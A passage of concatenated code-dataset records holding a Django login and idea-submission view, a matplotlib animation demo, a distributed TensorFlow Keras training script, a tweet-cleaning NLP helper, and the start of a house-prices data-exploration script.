AuthenticationForm()\n return render(request, 'users/login.html', {'form':form})\n\ndef logout_view(request):\n if request.method == 'POST':\n logout(request)\n return redirect('it20:it20about')\n\n\n@login_required(login_url='it20:login')\ndef submit(request):\n if request.method == 'POST':\n form = forms.IdeaSubmissionForm(request.POST, request.FILES)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.author = request.user\n instance.slug = request.user\n instance.save()\n return redirect('it20:it20about')\n else:\n form = forms.IdeaSubmissionForm()\n return render(request, 'users/ideaSubPage.html', {'form':form})\n\n#idea = idea.objects.all().order_by('date')\n#for idea in\n #if request.user == idea.user:\n #return render(request, 'users/yourIdea.html', {'idea':idea})\n","sub_path":"home/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"105550451","text":"from random import randint\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.animation as animation\r\nfrom matplotlib import style\r\n\r\nstyle.use ('fivethirtyeight')\r\n\r\nfig = plt.figure()\r\naxl = fig.add_subplot(1,1,1)\r\n\r\ndef randints(num):\r\n arr = []\r\n for i in range(num):\r\n arr += [randint(1,100)]\r\n return arr\r\n\r\n\r\ndef animate(i):\r\n global xs, ys\r\n xs.append(xs[-1]+1)\r\n ys.append(randint(1,100))\r\n axl.clear()\r\n axl.plot(xs,ys)\r\n\r\nxs = [1,2,3,4,5,6,7,8,9]\r\nys = randints(9)\r\n\r\nani = animation.FuncAnimation(fig,animate, interval=1000)\r\nplt.show()\r\n","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"376106784","text":"# -*- coding: utf-8 -*-\n\n# Copyright [2012-2018] PayPal Software Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n'''Distributed TF model training class, model definition is keras model.'''\n\nimport os\nimport tensorflow as tf\nimport argparse\nimport time\nimport sys\nimport logging\nimport gzip\nimport math\nfrom StringIO import StringIO\nimport random\nimport numpy as np\nfrom tensorflow.python.platform import gfile\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.saved_model import builder\nfrom tensorflow.python.saved_model import signature_constants\nfrom tensorflow.python.saved_model import signature_def_utils\nfrom tensorflow.python.saved_model import tag_constants\nfrom tensorflow.python.estimator import model_fn as model_fn_lib\nfrom tensorflow import keras\nimport json\nimport socket\nfrom tensorflow.python.client import timeline\n\n#######################################################################################################################\n#### Start: Define TF Keras Model: customize below keras model, make sure Inputs and predictions are not changed.\n#######################################################################################################################\ndef model(shifu_context):\n inputs = keras.Input(shape=(shifu_context['feature_count'],), name='shifu_input_0') # Returns a placeholder tensor\n\n # such model arch in below can be defined manually rather than use configurations from ModelConfig.json\n train_params = shifu_context['model_conf']['train']['params']\n num_hidden_layer = int(train_params['NumHiddenLayers'])\n num_hidden_nodes = [int(s) for s in train_params['NumHiddenNodes']]\n activation_func = [get_activation_fun(s) for s in train_params['ActivationFunc']]\n\n previous_layer = inputs\n for i in range(0, num_hidden_layer):\n acti = train_params['ActivationFunc'][i]\n kernel_regularizer = None\n if \"RegularizedConstant\" in train_params:\n kernel_regularizer = keras.regularizers.l2(l=train_params[\"RegularizedConstant\"])\n kernel_initializer = \"glorot_uniform\"\n if \"WeightInitializer\" in train_params:\n kernel_initializer = train_params[\"WeightInitializer\"]\n\n layer = keras.layers.Dense(num_hidden_nodes[i], activation=acti, name='hidden_layer_'+str(i+1), kernel_regularizer=kernel_regularizer, kernel_initializer=kernel_initializer)(previous_layer)\n previous_layer = layer\n predictions = keras.layers.Dense(1, activation='sigmoid', name='shifu_output_0')(layer)\n\n model = tf.keras.models.Model(inputs, predictions)\n\n # loss now only string loss supported, loss function not supported now TODO support loss function\n opti = shifu_context['model_conf']['train']['params']['Propagation']; # 'adam', 'sgd' and 'adagrad' are supported\n model.compile(loss='binary_crossentropy', optimizer=get_optimizer(opti)(learning_rate=shifu_context['learning_rate']), metrics=['mse'])\n return model\n#######################################################################################################################\n#### END: Define TF Keras Model\n#######################################################################################################################\n\ndef get_optimizer(name):\n name = name.lower()\n if 'adam' == name:\n return tf.train.AdamOptimizer\n elif 'b' == name or 'sgd' == name or 'gd' == name or 'gradientdescent' == name:\n return tf.train.GradientDescentOptimizer\n elif 'adagrad' == name:\n return tf.train.AdagradOptimizer\n else:\n return tf.train.AdamOptimizer\n\ndef get_loss_func(name):\n if name == None:\n logging.warn(\"Loss 'name' is not specidied, set to mean_squared_error.\")\n return tf.losses.mean_squared_error\n name = name.lower()\n\n if 'squared' == name or 'mse' == name or 'mean_squared_error' == name:\n return tf.losses.mean_squared_error\n elif 'absolute' == name:\n return tf.losses.absolute_difference\n elif 'log' == name:\n return tf.losses.log_loss\n elif 'binary_crossentropy' == name:\n return tf.losses.log_loss\n else:\n return tf.losses.mean_squared_error\n\ndef get_activation_fun(name):\n if name is None:\n return tf.nn.relu\n name = name.lower()\n\n if 'sigmoid' == name:\n return tf.nn.sigmoid\n elif 'tanh' == name:\n return tf.nn.tanh\n elif 'relu' == name:\n return tf.nn.relu\n elif 'leakyrelu' == name:\n return tf.nn.leaky_relu\n elif 'leaky_relu' == name:\n return tf.nn.leaky_relu\n else:\n return tf.nn.relu\n\ndef get_column_info(feature_column_nums, meta_column_nums, target_column_num):\n max_index = target_column_num\n if len(feature_column_nums) > 0:\n max_index = max(max_index, feature_column_nums[-1])\n if len(meta_column_nums) > 0:\n max_index = max(max_index, meta_column_nums[-1])\n column_info = [[i, \"Default\"] for i in range(max_index + 1)]\n column_info[target_column_num] = [target_column_num, \"Target\"]\n for num in meta_column_nums:\n column_info[num] = [num, \"Meta\"]\n for num in feature_column_nums:\n column_info[num] = [num, \"Feature\"]\n return column_info\n\ndef read_context_from_env_and_modelconf():\n replicas_to_aggregate_ratio = 1 # Aggregation replica reatio, default is 1, setting to < 1 can accerlerate traning but accuracy may be dropped.\n \n delimiter = '|'\n if \"DELIMITER\" in os.environ:\n delimiter = os.environ['DELIMITER']\n\n # Read properties from ENV\n cluster_spec = json.loads(os.environ[\"CLUSTER_SPEC\"])\n n_pss = len(cluster_spec['ps']) # the number of parameter servers\n n_workers = int(os.environ[\"WORKER_CNT\"]) # the number of worker nodes\n job_name = os.environ[\"JOB_NAME\"]\n task_index = int(os.environ[\"TASK_ID\"])\n is_chief = (job_name == \"worker\" and task_index == 0)\n socket_server_port = int(os.environ[\"SOCKET_SERVER_PORT\"]) # The port of local java socket server listening, to sync worker training intermediate information with master\n total_training_data_number = int(os.environ[\"TOTAL_TRAINING_DATA_NUMBER\"]) # total data 200468\n feature_column_nums = [int(s) for s in str(os.environ[\"SELECTED_COLUMN_NUMS\"]).split(' ')] # selected column numbers\n feature_count = len(feature_column_nums) # number of input columns\n meta_column_nums = [int(s) for s in str(os.environ[\"META_COLUMN_NUM\"]).split(' ')]\n\n sample_weight_column_num = int(os.environ[\"WEIGHT_COLUMN_NUM\"]) # weight column number, default is -1\n target_column_num = int(os.environ[\"TARGET_COLUMN_NUM\"]) # target column number, default is -1\n column_info = get_column_info(feature_column_nums, meta_column_nums, target_column_num)\n\n tmp_model_path = os.environ[\"TMP_MODEL_PATH\"]\n final_model_path = os.environ[\"FINAL_MODEL_PATH\"]\n with open('./ModelConfig.json') as f:\n model_conf = json.load(f)\n logging.info(\"Model conf: \" + str(model_conf))\n epochs = int(model_conf['train']['numTrainEpochs'])\n valid_training_data_ratio = model_conf['train']['validSetRate']\n is_continue_train = model_conf['train']['isContinuous']\n batch_size = 128\n if \"MiniBatchs\" in model_conf['train']['params']:\n batch_size = model_conf['train']['params']['MiniBatchs']\n loss_func = 'binary_crossentropy'\n if \"Loss\" in model_conf['train']['params']:\n loss_func = model_conf['train']['params']['Loss']\n \n learning_rate = model_conf['train']['params']['LearningRate']\n\n training_data_path = ''\n if \"TRAINING_DATA_PATH\" in os.environ:\n training_data_path = os.environ[\"TRAINING_DATA_PATH\"]\n\n # TODO weight_initalizer should be set and enabled\n\n return {\"model_conf\": model_conf, \"replicas_to_aggregate_ratio\": replicas_to_aggregate_ratio, \"delimiter\": delimiter, \n \"cluster_spec\": cluster_spec, \"n_pss\": n_pss, \"n_workers\": n_workers, \"job_name\": job_name, \"task_index\": task_index, \n \"socket_server_port\": socket_server_port, \"feature_column_nums\": feature_column_nums, \"meta_column_nums\": meta_column_nums,\n \"total_training_data_number\": total_training_data_number, \"sample_weight_column_num\": sample_weight_column_num,\n \"target_column_num\": target_column_num, \"tmp_model_path\": tmp_model_path, \"final_model_path\": final_model_path,\n \"is_continue_train\": is_continue_train, \"valid_training_data_ratio\": valid_training_data_ratio, 'column_info': column_info,\n \"layers\": model_conf['train']['params']['NumHiddenNodes'], \"batch_size\": batch_size, \"feature_count\": feature_count,\n \"model_name\": model_conf['basic']['name'], \"is_chief\": is_chief, \"training_data_path\": training_data_path,\n \"export_dir\": final_model_path, \"epochs\": epochs, \"sample_weight_column_num\": sample_weight_column_num,\n \"learning_rate\": learning_rate, \"loss_func\": loss_func, \"optimizer\": \"adam\",\"weight_initalizer\": \"xavier\",\n \"act_funcs\": model_conf['train']['params']['ActivationFunc']}\n\nclass GraphEditTestHook(tf.train.SessionRunHook):\n \"\"\"\n Add a hook in begin to check if we can edit such graph, after MonitoredTrainingSession the graph is finalized cannot be changed,\n The tensor read and added in begin method can be called in session.run.\n \"\"\"\n\n def __init__(self, cluster, worker_device):\n logging.info(\"test ... \")\n self.cluster = cluster\n self.worker_device = worker_device\n\n def begin(self):\n logging.info(\"test begin ... \")\n with tf.device(tf.train.replica_device_setter(#ps_tasks=n_pss,\n cluster=self.cluster,\n worker_device=self.worker_device)):\n graph = tf.get_default_graph()\n output_tensor = graph.get_tensor_by_name('shifu_output_0/Sigmoid:0')\n constant = tf.constant([1])\n output_add_tensor = tf.add_n([output_tensor, constant])\n tf.add_to_collection(\"TestHook\", output_add_tensor)\n\ndef main(_):\n logging.basicConfig(level=logging.INFO, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%y-%m-%d %H:%M:%S')\n\n shifu_context = read_context_from_env_and_modelconf();\n logging.info(\"Shifu context: %s\" % str(shifu_context))\n \n # This client is used for sync worker training intermediate information with master\n socket_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n socket_client.connect((\"127.0.0.1\", shifu_context[\"socket_server_port\"])) # sync to local one and logic processed in local TaskExecutor\n\n logging.info(\"Job info: job_name:%s, task_index:%d.\" % (shifu_context['job_name'], shifu_context['task_index']))\n\n ps_hosts = shifu_context['cluster_spec']['ps']\n worker_hosts = shifu_context['cluster_spec']['worker']\n cluster = tf.train.ClusterSpec({\"ps\": ps_hosts, \"worker\": worker_hosts})\n\n # allows this node know about all other nodes\n if shifu_context['job_name'] == 'ps': # checks if parameter server\n logging.info(\"Join cluster as ps role.\")\n server = tf.train.Server(cluster,\n job_name=\"ps\",\n task_index=shifu_context['task_index'])\n server.join()\n else: # it must be a worker server\n is_chief = (shifu_context['task_index'] == 0) # checks if this is the chief node\n server = tf.train.Server(cluster,\n job_name=\"worker\",\n task_index=shifu_context['task_index'])\n logging.info(\"Loading data from worker index = %d\" % shifu_context['task_index'])\n\n if \"TRAINING_DATA_PATH\" in os.environ:\n logging.info(\"This is a normal worker.\")\n training_data_path = os.environ[\"TRAINING_DATA_PATH\"]\n logging.info(\"Loading data from path = %s.\" % str(training_data_path))\n else:\n logging.info(\"This is a backup worker.\")\n\n if shifu_context['is_chief'] and shifu_context['is_continue_train'] and ( gfile.Exists(os.path.join(shifu_context['final_model_path'], 'saved_model.pb')) or gfile.Exists(os.path.join(shifu_context['final_model_path'], 'saved_model.pbtxt')) ):\n logging.info(\"Adding model loading hook.\")\n tf.reset_default_graph() # reset graph at first to avoid conflict in later graph loading\n # save continous model from user to last checkpoint and existing logic will load it before training in MonitoredTrainingSession\n with tf.Session() as session:\n logging.info(\"Load eisting pb models for continuous training ...\")\n tf.saved_model.loader.load(session, [tag_constants.TRAINING, tag_constants.SERVING], shifu_context['final_model_path'])\n # global step set to sys.maxint to make sure last checkpoint\n save_path = tf.train.Saver().save(session, shifu_context['tmp_model_path'], global_step=sys.maxint)\n logging.info(\"Save checkpoint model is done: %s ... \" % str(save_path))\n tf.reset_default_graph() # reset again to make sure below model training not be impacted\n\n # import data\n context = load_data(shifu_context)\n\n # split data into batch\n total_batch = int(len(context[\"train_data\"]) / shifu_context['batch_size'])\n x_batch = np.array_split(context[\"train_data\"], total_batch)\n y_batch = np.array_split(context[\"train_target\"], total_batch)\n sample_w_batch = np.array_split(context[\"train_data_sample_weight\"], total_batch)\n\n logging.info(\"Testing set size: %d.\" % len(context['valid_data']))\n logging.info(\"Training set size: %d.\" % len(context['train_data']))\n\n valid_x = np.asarray(context[\"valid_data\"])\n valid_y = np.asarray(context[\"valid_target\"])\n valid_sample_w = np.asarray(context[\"valid_data_sample_weight\"])\n\n # Graph\n worker_device = \"/job:%s/task:%d\" % (shifu_context['job_name'], shifu_context['task_index'])\n with tf.device(tf.train.replica_device_setter(#ps_tasks=n_pss,\n cluster=cluster,\n worker_device=worker_device\n )):\n label_placeholder = tf.placeholder(dtype=tf.int32, shape=(None, 1))\n sample_weight_placeholder = tf.placeholder(dtype=tf.float32, shape=(None, 1))\n\n keras.backend.set_learning_phase(True)\n keras.backend.manual_variable_initialization(True)\n new_model = model(shifu_context)\n logging.info(\"Model inputs: %s; Model outputs: %s; Loss: %s; optimizer: %s.\" % (str(new_model.inputs), str(new_model.output), str(new_model.loss), str(new_model.optimizer)))\n\n if new_model.optimizer.__class__.__name__ == \"TFOptimizer\":\n de_optimizer = new_model.optimizer.optimizer\n logging.info(\"DEBUG: TFOptimizer.\")\n else:\n de_optimizer = get_optimizer(new_model.optimizer.__class__.__name__)\n\n loss = get_loss_func(new_model.loss)(predictions=new_model.output, labels=label_placeholder, weights=sample_weight_placeholder)\n\n # Construct SyncReplicasOptimizer for sync model distributed training, async model performance is not good\n batch_size = shifu_context['batch_size']\n valid_ratio = shifu_context['valid_training_data_ratio']\n replicas_to_aggregate_ratio = shifu_context['replicas_to_aggregate_ratio']\n n_training = shifu_context['total_training_data_number']\n opt = tf.train.SyncReplicasOptimizer(\n de_optimizer,\n replicas_to_aggregate=int(n_training * (1-valid_ratio) / batch_size * replicas_to_aggregate_ratio),\n total_num_replicas=int(n_training * (1-valid_ratio) / batch_size),\n name=\"shifu_sync_replicas\")\n\n global_step = tf.get_variable('global_step', [],\n initializer=tf.constant_initializer(0),\n trainable=False,\n dtype=tf.int32)\n\n train_step = opt.minimize(loss, global_step=global_step)\n logging.info(\"Train step: %s.\" % str(train_step))\n # init ops\n init_tokens_op = opt.get_init_tokens_op()\n # initialize local step\n local_init = opt.local_step_init_op\n if is_chief:\n # initializes token queue\n local_init = opt.chief_init_op\n\n # checks if global vars are init\n ready_for_local_init = opt.ready_for_local_init_op\n\n # Initializing the variables\n init_op = tf.initialize_all_variables()\n logging.info(\"---Variables initialized---\")\n\n # **************************************************************************************\n # Session\n sync_replicas_hook = opt.make_session_run_hook(is_chief)\n stop_hook = tf.train.StopAtStepHook(num_steps=shifu_context['epochs'])\n #chief_hooks = [sync_replicas_hook, stop_hook, GraphEditHook(cluster=cluster, worker_device=worker_device)]\n chief_hooks = [sync_replicas_hook, stop_hook]\n if shifu_context['is_continue_train']:\n scaff = None\n else:\n scaff = tf.train.Scaffold(init_op=init_op,\n local_init_op=local_init,\n ready_for_local_init_op=ready_for_local_init)\n # Configure\n if \"IS_BACKUP\" in os.environ:\n config = tf.ConfigProto(log_device_placement=False,\n allow_soft_placement=True,\n device_filters=['/job:ps', '/job:worker/task:0',\n '/job:worker/task:%d' % shifu_context['task_index']])\n else:\n config = tf.ConfigProto(log_device_placement=False,\n allow_soft_placement=True)\n\n # Create a \"supervisor\", which oversees the training process.\n sess = tf.train.MonitoredTrainingSession(master=server.target,\n is_chief=shifu_context['is_chief'],\n config=config,\n scaffold=scaff,\n hooks=chief_hooks,\n log_step_count_steps=0,\n stop_grace_period_secs=10,\n checkpoint_dir=shifu_context['tmp_model_path'])\n\n if shifu_context['is_chief'] and not shifu_context['is_continue_train']:\n sess.run(init_tokens_op)\n logging.info(\"Chief worker start waiting 20 seconds.\")\n time.sleep(20) # grace period to wait on other workers before starting training\n logging.info(\"Chief worker finish waiting 20 seconds.\")\n\n # Train until hook stops session\n logging.info('Starting training on worker %d.' % shifu_context['task_index'])\n\n run_metadata = tf.RunMetadata()\n run_options = tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE)\n while not sess.should_stop():\n try:\n start = time.time()\n for i in range(total_batch):\n train_feed = {new_model.inputs[0]: x_batch[i],\n label_placeholder: y_batch[i],\n sample_weight_placeholder: sample_w_batch[i]}\n #_, l, gs,opa = sess.run([train_step, loss, global_step, tf.get_collection(\"TestHook\")[0]], feed_dict=train_feed, options=run_options,run_metadata=run_metadata)\n _, l, gs = sess.run([train_step, loss, global_step], feed_dict=train_feed, options=run_options,run_metadata=run_metadata)\n training_time = time.time() - start\n \n valid_start = time.time()\n # compute validation loss\n valid_loss, gs = sess.run([loss, global_step], feed_dict={new_model.inputs[0]: valid_x,\n label_placeholder: valid_y,\n sample_weight_placeholder: valid_sample_w}\n )\n valid_time = time.time() - valid_start\n # TODO, here training loss is last index of loss, should be averaged\n logging.info(\"DEBUG: total_batch=%s index:%s step: %s worker: %s training loss:%s training time:%s valid loss:%s valid time:%s.\" % (str(total_batch), str(i), str(gs), str(shifu_context['task_index']), str(l), str(training_time), str(valid_loss), str(valid_time)))\n\n # Send intermediate result to master\n message = \"worker_index:{},time:{},current_epoch:{},training_loss:{},valid_loss:{},valid_time:{}\\n\".format(\n str(shifu_context['task_index']), str(training_time), str(gs), str(l), str(valid_loss), str(valid_time))\n if sys.version_info < (3, 0):\n socket_client.send(bytes(message))\n else:\n socket_client.send(bytes(message), 'utf8')\n\n except RuntimeError as re:\n if 'Run called even after should_stop requested.' == re.args[0]:\n logging.info('About to execute sync_clean_up_op!')\n else:\n raise\n\n # close session and log done\n logging.info('Done training task %s.' % str(shifu_context['task_index']))\n sess.close()\n\n # We just need to make sure chief worker exit with success status is enough\n if shifu_context['is_chief']:\n tf.reset_default_graph()\n # restore from last checkpoint\n with tf.get_default_graph().as_default():\n new_model = model(shifu_context)\n logging.info(\"Expose model inputs: %s; Model outputs: %s.\" % (str(new_model.inputs), str(new_model.output)))\n\n saver = tf.train.Saver()\n with tf.Session() as sess:\n tmp_model_path= shifu_context['tmp_model_path']\n ckpt = tf.train.get_checkpoint_state(tmp_model_path)\n logging.info(\"Checkpoint path: %s.\" % ckpt)\n assert ckpt, \"Invalid model checkpoint path: {}.\".format(tmp_model_path)\n saver.restore(sess, ckpt.model_checkpoint_path)\n\n final_model_path = shifu_context['final_model_path']\n logging.info(\"Exporting saved_model to: %s.\" % final_model_path)\n\n # exported signatures defined in code\n simple_save(session=sess, export_dir=final_model_path,\n inputs={\n \"shifu_input_0\": new_model.inputs[0]\n },\n outputs={\n \"shifu_output_0\": new_model.output\n },\n norm_type=shifu_context['model_conf']['normalize']['normType'])\n logging.info(\"Export saved_model.\")\n\n tl = timeline.Timeline(run_metadata.step_stats)\n ctf = tl.generate_chrome_trace_format()\n logging.info(\"DEBUG: ctf: %s \" % str(ctf))\n\n f = tf.gfile.GFile(tmp_model_path + \"/timeline.json\", mode=\"w+\")\n f.write(ctf)\n time.sleep(20) # grace period to wait before closing session\n\n logging.info('Session from worker %d closed cleanly.' % shifu_context['task_index'])\n sys.exit()\n\ndef load_data(shifu_context):\n valid_ratio = shifu_context['valid_training_data_ratio']\n data_file_list = shifu_context['training_data_path'].split(\",\")\n\n logging.info(\"Input data %s.\" % data_file_list)\n logging.info(\"Select columns: %s.\" % str(shifu_context['feature_column_nums']))\n\n train_data = []\n train_target = []\n valid_data = []\n valid_target = []\n\n training_data_sample_weight = []\n valid_data_sample_weight = []\n\n train_pos_cnt = 0\n train_neg_cnt = 0\n valid_pos_cnt = 0\n valid_neg_cnt = 0\n\n file_count = 1\n line_count = 0\n feature_column_nums = shifu_context['feature_column_nums']\n target_column_num = shifu_context['target_column_num']\n sample_weight_column_num = shifu_context['sample_weight_column_num']\n meta_column_nums = shifu_context['meta_column_nums']\n column_info = shifu_context['column_info']\n compact_mode = False\n\n for currentFile in data_file_list:\n logging.info(\n \"Now loading %s Progress: %s/%s.\" % (currentFile, str(file_count), str(len(data_file_list))))\n file_count += 1\n\n with gfile.Open(currentFile, 'rb') as f:\n gf = gzip.GzipFile(fileobj=StringIO(f.read()))\n while True:\n line = gf.readline()\n if len(line) == 0:\n break\n\n line_count += 1\n if line_count % 10000 == 0:\n logging.info(\"Total loading lines: %s.\" % str(line_count))\n\n columns = line.split(shifu_context['delimiter'])\n if line_count == 1:\n # meta amount + feature amount + 1 target + 1 weight\n compact_mode = len(meta_column_nums) + len(feature_column_nums) + 2 == len(columns)\n logging.info(\"Compact mode: %s.\" % str(compact_mode))\n\n if feature_column_nums == None:\n feature_column_nums = range(0, len(columns))\n\n feature_column_nums.remove(target_column_num)\n if sample_weight_column_num >= 0:\n feature_column_nums.remove(sample_weight_column_num)\n column_info = get_column_info(feature_column_nums, meta_column_nums, target_column_num)\n logging.info(\"Column info %s.\" % str(column_info))\n\n if random.random() >= valid_ratio:\n # Append training data\n data_index = 0\n single_train_data = np.zeros([len(feature_column_nums)], dtype=np.float32)\n single_train_data_index = 0\n for pair in column_info:\n column_num = pair[0]\n column_type = pair[1]\n if column_type == \"Target\":\n train_target.append([float(columns[data_index])])\n if columns[data_index] == \"1\": # FIXME, some case target is not 0 or 1\n train_pos_cnt += 1\n else:\n train_neg_cnt += 1\n elif column_type == \"Feature\":\n try:\n f_val = float(columns[data_index].strip('\\n'))\n if math.isnan(f_val):\n logging.warn(\"Warning: value is NaN after parsing %s.\" % columns[data_index].strip('\\n'))\n f_val = 0.0\n single_train_data[single_train_data_index] = f_val\n except:\n single_train_data[single_train_data_index] = 0.0\n logging.warn(\"Could not convert %s to float.\" % str(columns[data_index].strip('\\n')))\n single_train_data_index += 1\n if not compact_mode or column_type == \"Target\" or column_type == \"Feature\" or column_type == \"Meta\":\n data_index += 1\n train_data.append(single_train_data)\n\n weight = float(columns[len(columns)-1].strip('\\n'))\n if weight < 0.0:\n logging.warn(\"Warning: weight is below 0, use default 1.0. weight: %s example: %s.\" % (weight, line))\n weight = 1.0\n training_data_sample_weight.append([weight])\n else:\n # Append validation data\n data_index = 0\n single_valid_data = np.zeros([len(feature_column_nums)], dtype=np.float32)\n single_valid_data_index = 0\n for pair in column_info:\n column_num = pair[0]\n column_type = pair[1]\n if column_type == \"Target\":\n valid_target.append([float(columns[data_index])])\n if columns[data_index] == \"1\": # FIXME, some case target is not 0 or 1\n valid_pos_cnt += 1\n else:\n valid_neg_cnt += 1\n elif column_type == \"Feature\":\n try:\n f_val = float(columns[data_index].strip('\\n'))\n if math.isnan(f_val):\n logging.warn(\"Warning: value is NaN after parsing %s.\" % columns[data_index].strip('\\n'))\n f_val = 0.0\n single_valid_data[single_valid_data_index] = f_val\n except:\n single_valid_data[single_valid_data_index] = 0.0\n logging.warn(\"Could not convert %s to float.\" % str(columns[data_index].strip('\\n')))\n single_valid_data_index += 1\n if not compact_mode or column_type == \"Target\" or column_type == \"Feature\" or column_type == \"Meta\":\n data_index += 1\n valid_data.append(single_valid_data)\n\n weight = float(columns[len(columns)-1].strip('\\n'))\n if weight < 0.0:\n logging.warn(\"Warning: weight is below 0, use default 1.0. weight: %s example: %s.\" % (weight, line))\n weight = 1.0\n valid_data_sample_weight.append([weight])\n\n logging.info(\"Total data count: %s.\" % str(line_count))\n logging.info(\"Train pos count: %s, neg count: %s.\" % (str(train_pos_cnt), str(train_neg_cnt)))\n logging.info(\"Valid pos count: %s, neg count: %s.\" % (str(valid_pos_cnt), str(valid_neg_cnt)))\n\n return {\"train_data\": train_data, \"train_target\": train_target,\n \"valid_data\": valid_data, \"valid_target\": valid_target,\n \"train_data_sample_weight\": training_data_sample_weight,\n \"valid_data_sample_weight\": valid_data_sample_weight,\n \"feature_count\": len(feature_column_nums)}\n\ndef simple_save(session, export_dir, inputs, outputs, norm_type, legacy_init_op=None, ):\n if tf.gfile.Exists(export_dir):\n tf.gfile.DeleteRecursively(export_dir)\n signature_def_map = {\n signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY:\n signature_def_utils.predict_signature_def(inputs, outputs)\n }\n b = builder.SavedModelBuilder(export_dir)\n b.add_meta_graph_and_variables(\n session,\n tags=[tag_constants.TRAINING, tag_constants.SERVING],\n signature_def_map=signature_def_map,\n assets_collection=ops.get_collection(ops.GraphKeys.ASSET_FILEPATHS),\n legacy_init_op=legacy_init_op,\n clear_devices=True)\n b.save()\n export_generic_config(export_dir=export_dir, input=inputs['shifu_input_0'].name, output=outputs['shifu_output_0'].name, norm_type=norm_type)\n\ndef export_generic_config(export_dir, input, output, norm_type):\n config_json_str = \"\"\n config_json_str += \"{\\n\"\n config_json_str += \" \\\"inputnames\\\": [\\n\"\n config_json_str += \" \\\"\" + input + \"\\\"\\n\"\n config_json_str += \" ],\\n\"\n config_json_str += \" \\\"properties\\\": {\\n\"\n config_json_str += \" \\\"algorithm\\\": \\\"tensorflow\\\",\\n\"\n config_json_str += \" \\\"tags\\\": [\\\"train\\\", \\\"serve\\\"],\\n\"\n config_json_str += \" \\\"outputnames\\\": \\\"\" + output + \"\\\",\\n\"\n config_json_str += \" \\\"normtype\\\": \\\"\" + norm_type + \"\\\"\\n\"\n config_json_str += \" }\\n\"\n config_json_str += \"}\"\n f = tf.gfile.GFile(export_dir + \"/GenericModelConfig.json\", mode=\"w+\")\n f.write(config_json_str)\n\ndef start_tensorboard(checkpoint_dir):\n tf.flags.FLAGS.logdir = checkpoint_dir\n if TB_PORT_ENV_VAR in os.environ:\n tf.flags.FLAGS.port = os.environ['TB_PORT']\n\n tb_thread = Thread(target=tb_main.run_main)\n tb_thread.daemon = True\n\n logging.info(\"Starting TensorBoard with --logdir= %s in daemon thread ...\" % checkpoint_dir)\n tb_thread.start()\n\nif __name__ == '__main__':\n tf.app.run()","sub_path":"src/main/python/distributed_tf_keras.py","file_name":"distributed_tf_keras.py","file_ext":"py","file_size_in_byte":33600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"83597108","text":"import re\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom string import punctuation\n\nstopwords = stopwords.words('english') + list(punctuation) + [\"URL\",\"USER\",\"'s\"]\n\ndef cleanUpTweets(tweets):\n clean_tweets = []\n \n for tweet in tweets:\n tweet_text = cleanIt(tweet[\"Text\"])\n clean_tweets.append((tweet_text, tweet[\"Label\"]))\n\n return clean_tweets\n\ndef cleanIt(tweet_text):\n tweet_text = tweet_text.lower()\n\n # Replace links with \"URL\" (Stopword)\n regex1 = r'((www\\.[^\\s]+)|(https?://[^\\s]+))'\n tweet_text = re.sub(regex1, 'URL', tweet_text)\n\n # Replace @user with \"USER\" (Stopword)\n regex2 = r'@[^\\s]+'\n tweet_text = re.sub(regex2, 'USER', tweet_text)\n\n # Replace hashtags\n tweet_text = re.sub(r'#([^\\s]+)', r'\\1', tweet_text)\n\n # Replace ...... with \". \"\n tweet_text = re.sub(r'\\.+', '. ', tweet_text)\n\n tweet_text = word_tokenize(tweet_text)\n\n tweet = []\n for word in tweet_text:\n if word not in stopwords:\n tweet.append(word)\n\n return tweet\n\n#trial = \"I must admit @apple has made me a very happy camper! I have text tones now! Lol! Ring tone: #MakeMeProud Drakes vers! Text tone: Nicki's\"\n#print cleanIt(trial)","sub_path":"clean_tweet.py","file_name":"clean_tweet.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"562680417","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nfrom scipy import stats\nfrom scipy.stats import norm\nfrom sklearn.preprocessing import StandardScaler\nimport warnings\nwarnings.filterwarnings('ignore')\n\n#%% load dataset\ndf = pd.read_csv('../../data/raw/house_prices.csv')\nprint(df.head())\nprint(df.columns)\nprint(df.shape)\n\n#%% descriptive statistics summary\nprint(df['SalePrice'].describe())\n\n#%% histogram\nsns.distplot(df['SalePrice'])\nplt.savefig('../../reports/figures/house_prices_saleprice_histogram.png')\nplt.show()\n\n#%% skewness and kurtosis\nprint('Skewness:', df['SalePrice'].skew())\nprint('Kurtosis:', df['SalePrice'].kurt())\n\n#%% relationship with numeric variables\n# scatter plot grlivarea/saleprice\nvar = 'GrLivArea'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\ndata.plot.scatter(x=var, y='SalePrice', ylim=(0, 800000))\nplt.savefig('../../reports/figures/house_prices_grlivarea_scatter_plot.png')\nplt.show()\n\n# scatter plot totalbsmtsf/saleprice\nvar = 'TotalBsmtSF'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\ndata.plot.scatter(x=var, y='SalePrice', ylim=(0, 800000))\nplt.savefig('../../reports/figures/house_prices_totalbsmtsf_scatter_plot.png')\nplt.show()\n\n#%% relationship with categorical variables\n# box plot overallqual/saleprice\nvar = 